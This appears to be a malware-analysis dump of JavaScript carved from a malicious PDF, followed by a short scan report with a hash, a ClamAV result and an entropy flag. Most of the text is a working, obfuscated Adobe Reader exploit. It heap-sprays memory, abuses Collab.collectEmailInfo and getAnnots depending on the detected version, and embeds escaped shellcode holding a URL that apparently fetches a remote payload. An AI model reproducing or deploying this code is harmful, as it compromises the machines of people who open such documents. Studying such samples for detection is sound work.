6a6a%u6d75%u636c%u632e%u6d6f%u6e2f%u6574%u502f%u4f52%u2e58%u6870%u2f70%u4879%u6438%u6539%u6665%u6330%u3056%u3031%u6630%u3630%u3030%u3630%u3852%u3037%u3630%u3761%u3136%u3230%u6354%u3931%u6239%u3232%u3231%u3330%u306c%u3030%u0063";app.V_O_Yf2 = unescape(J_M6_Q_fv7Q(I1dp6M, d_8wBy8emO4));var Uy31U8_k__2m2 = 0x400000;var mwxq0_1vlWAm = OPnxl7_Nu.length * 2;var m2_nh_1Ra = Uy31U8_k__2m2 - (mwxq0_1vlWAm+0x38);sAfvB1sfH = N7102B(sAfvB1sfH, m2_nh_1Ra);var gj_C33B = (L_P4Or - 0x400000)/Uy31U8_k__2m2;for (var Y0fxUy_6o = 0; Y0fxUy_6o < gj_C33B; Y0fxUy_6o++) {E4CaXu8p2dq[Y0fxUy_6o] = sAfvB1sfH + OPnxl7_Nu;}}function Jc_Vsxr__cu(){var g__4363sI = "";for (jah6_dHg_2 = 0; jah6_dHg_2 < 12; jah6_dHg_2++) {g__4363sI += unescape("%u0c0c%u0c0c");}var t_8_7t = "";for (jah6_dHg_2 = 0; jah6_dHg_2 < 750; jah6_dHg_2++) {t_8_7t += g__4363sI;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: t_8_7t});app.clearTimeOut(b_m6n1i__qfj);}function fF_F6yx_3(XUpH4ecFcj_Sf_b){var A_qF1_84 = b_m6n1i__qfj;if ((XUpH4ecFcj_Sf_b >= 8 && XUpH4ecFcj_Sf_b < 8.11) || XUpH4ecFcj_Sf_b < 7.1) {w2kR___5___l8K(23, "%u0c0c%u0c0c", XUpH4ecFcj_Sf_b);app.EY5JaV4X__6cF = Jc_Vsxr__cu;b_m6n1i__qfj = app.setTimeOut("app.EY5JaV4X__6cF()", 1);} if (XUpH4ecFcj_Sf_b < 7.12) {function d__D___71pVe() {try {w2kR___5___l8K(22, "%u0c0c%u0c0c", XUpH4ecFcj_Sf_b);var C_3__0o_3_e = -0x7CFCFCFD;this.getAnnots(C_3__0o_3_e, C_3__0o_3_e, C_3__0o_3_e, C_3__0o_3_e);} catch(e) {console.println("annots exception error"); }}d__D___71pVe();}w2kR___5___l8K(13, "%u0c0c%u0c0c", XUpH4ecFcj_Sf_b);if (A_qF1_84) {app.clearTimeOut(A_qF1_84);}}var be02dW_4 = 0;var Yno7P_r__u = app.plugIns;for (var kErh_QX0E8X = 0; kErh_QX0E8X < Yno7P_r__u.length; kErh_QX0E8X++) {var C3__3n = Yno7P_r__u[kErh_QX0E8X].version;if (C3__3n > be02dW_4) { be02dW_4 = C3__3n; }}if (app.viewerVersion == 9.103 && be02dW_4 < 9.13) {be02dW_4 = 9.13;}if (!(be02dW_4 < 9 || be02dW_4 >= 9.2) ||    !(be02dW_4 < 8 || be02dW_4 >= 8.17) ||    !(be02dW_4 < 7 || be02dW_4 >= 7.14)) {fF_F6yx_3(be02dW_4);}
u3d_00_off0000349f.bin pdf-3d-stream PDF U3D 3D stream at offset 0x349F 27449 bytes
SHA-256: 48816569ab4f370009a917ef6429edbe09e4dfe8a63b00a0a0f75a904c62ba94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.